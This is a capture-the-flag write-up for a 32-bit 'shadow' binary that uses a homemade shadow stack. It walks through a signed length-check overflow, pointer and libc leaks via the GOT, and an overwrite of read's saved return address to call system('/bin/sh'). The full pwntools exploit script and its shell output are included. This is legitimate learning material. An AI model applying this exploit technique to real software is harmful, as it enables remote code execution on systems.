Solved by 4rbit3r
I couldn’t solve this problem during the ctf, but it was a really nice challenge which demonstrated a pretty good concept. Let’s take a look at the binary.
$ checksec shadow
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
If we look at the binary, we see that there’s a main
function and then there’s a _main
function which is called by main. Also call
and ret
seem to be functions rather than just instructions.
Looking through the call
and ret
functions, we see that they call the functions push
and pop
respectively. The call
function pushes the saved ebp and the saved eip onto another memory page which in this case is the shadow stack. This memory page has, by default, no permissions either to be read from or to be written to. This page is made readable and writable only when required by the push
and pop
functions and then immediately changes it back to no permissions.
There are two buffers which the function uses. One is created by _main
. This _main
then calls message
function which is basically the driver function. It has 3 arguments. I’ve named them as follows :
- name
- name_length
- loops
The message
function has its own buffer which I’m gonna call msg. This function does the following
- If the function has just started execution, ask for a name which will be stored in the
name
buffer.
- Ask for a length
- If length > 32, set length = 32 and read length bytes into
msg
.- Increment counter.
- If counter >= loops, go to epilogue.
- Else, prompt whether user wants to change name
- If yes, read new name
- Else, loop again.
The vulnerability lies in this part of code
0x080488A3 mov [ebp+n_bytes], eax
0x080488A6 cmp [ebp+n_bytes], 0x20
0x080488AA jle short 0x80488B3
0x080488AC mov [ebp+n_bytes], 0x20
0x080488B3 mov dword ptr [esp+4], 0x8048C8E
Here ebp+n_bytes is where the length entered by the user is saved. jle
instruction is a signed comparison instruction. Which means that if we were to enter -1 as the length, we’d pass the check.
So first thing we could do would be to leak the value of the canary. But as you will see later on, that is not needed here.
The size of the name
buffer is 16 bytes. Right after those 16 bytes are some pointers. The 4th pointer after the end of the name
buffer is a pointer to the stack. So by giving a string of size 16 bytes, we can leak out that pointer.
Now we can overflow the msg
using the above mentioned vulnerability and change the value of the name
pointer. So after leaking out a pointer to the stack, the next objective is to change the value of the name
pointer to the GOT table. This will leak out the address of a libc function which we can use later on.
We also need to make sure that we change the value of the loops
and the name_length
variables to some large value. Now we’ve got our weapons and intel. Next comes the attack.
As mentioned, we cannot overwrite entries of the GOT table, nor can we change the values in the shadow stack. We cannot even change the pointer to the shadow stack since it gets replaced by the program before executing a ret
or a call
.
So what we need to do is to find some function which actually uses a ret
instruction rather than the ret()
function.
The only function that does that would be libc functions.
So if we were to calculate the address of read
‘s saved eip, we could use that to our advantage. The function prompts us whether or not we want to change the name
. If we reply ‘y’, the function then proceeds to call getnline
with the arguments name
,name_length
. This function then goes on to call read
with the same arguments. So the idea would be to change the name
pointer to the address where the saved eip of read
would be stored and reply ‘y’ when prompted whether or not to change the name.
So we would change the saved return address of read
while executing read
and then we could return to an arbitrary address. Here we use the info leaks we mentioned before.
So putting it all together
- Leak the pointer to the stack by filling the name buffer with 16 bytes.
- Leak the address of some libc function by changing the
name
pointer to point to the GOT table.- Change the
name
pointer to the address whereread
‘s saved eip will be stored.- Reply ‘y’ when prompted whether or not to change name.
- Send address of
system
+ “AAAA” + address of/bin/sh
And yes that worked.
$ python exploit.py
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 18294: Done
[+] Read’s saved eip @ 0xfffa82ac
[+] Atoi @ 0xf75fc8e0
[*] Switching to interactive mode
$ ls
flag
shadow
$ cat flag
TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}
Sad that I couldn’t solve this problem during the CTF. But really enjoyed it.
Flag: TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}
Here’s the exploit script.
from pwn import * p=process("shadow") p.sendafter("name :","n"*16) p.sendlineafter("length :","10") p.sendlineafter("message :","A") p.recvuntil("<") p.recv(28) read=u32(p.recv(4))-0x100 log.success("Read's saved eip @ "+hex(read)) p.sendlineafter("n) :","n") p.sendlineafter("length :","-1") payload=fit({52:p32(0x8049ff8),56:p32(0x100),60:p32(0x100)},length=64) p.sendlineafter("message :",payload) p.recvuntil("<") atoi=u32(p.recv(4)) log.success("Atoi @ "+hex(atoi)) p.sendlineafter("n) :","n") p.sendlineafter("length :","-1") payload=fit({52:p32(read),56:p32(0x100),60:p32(0x100)},length=64,filler="A") p.sendlineafter("message :",payload) payload=p32(atoi+0xea30)+"A"*4+p32(atoi+0x12ef6c) p.sendlineafter("name :",payload) p.interactive()
Leave a Reply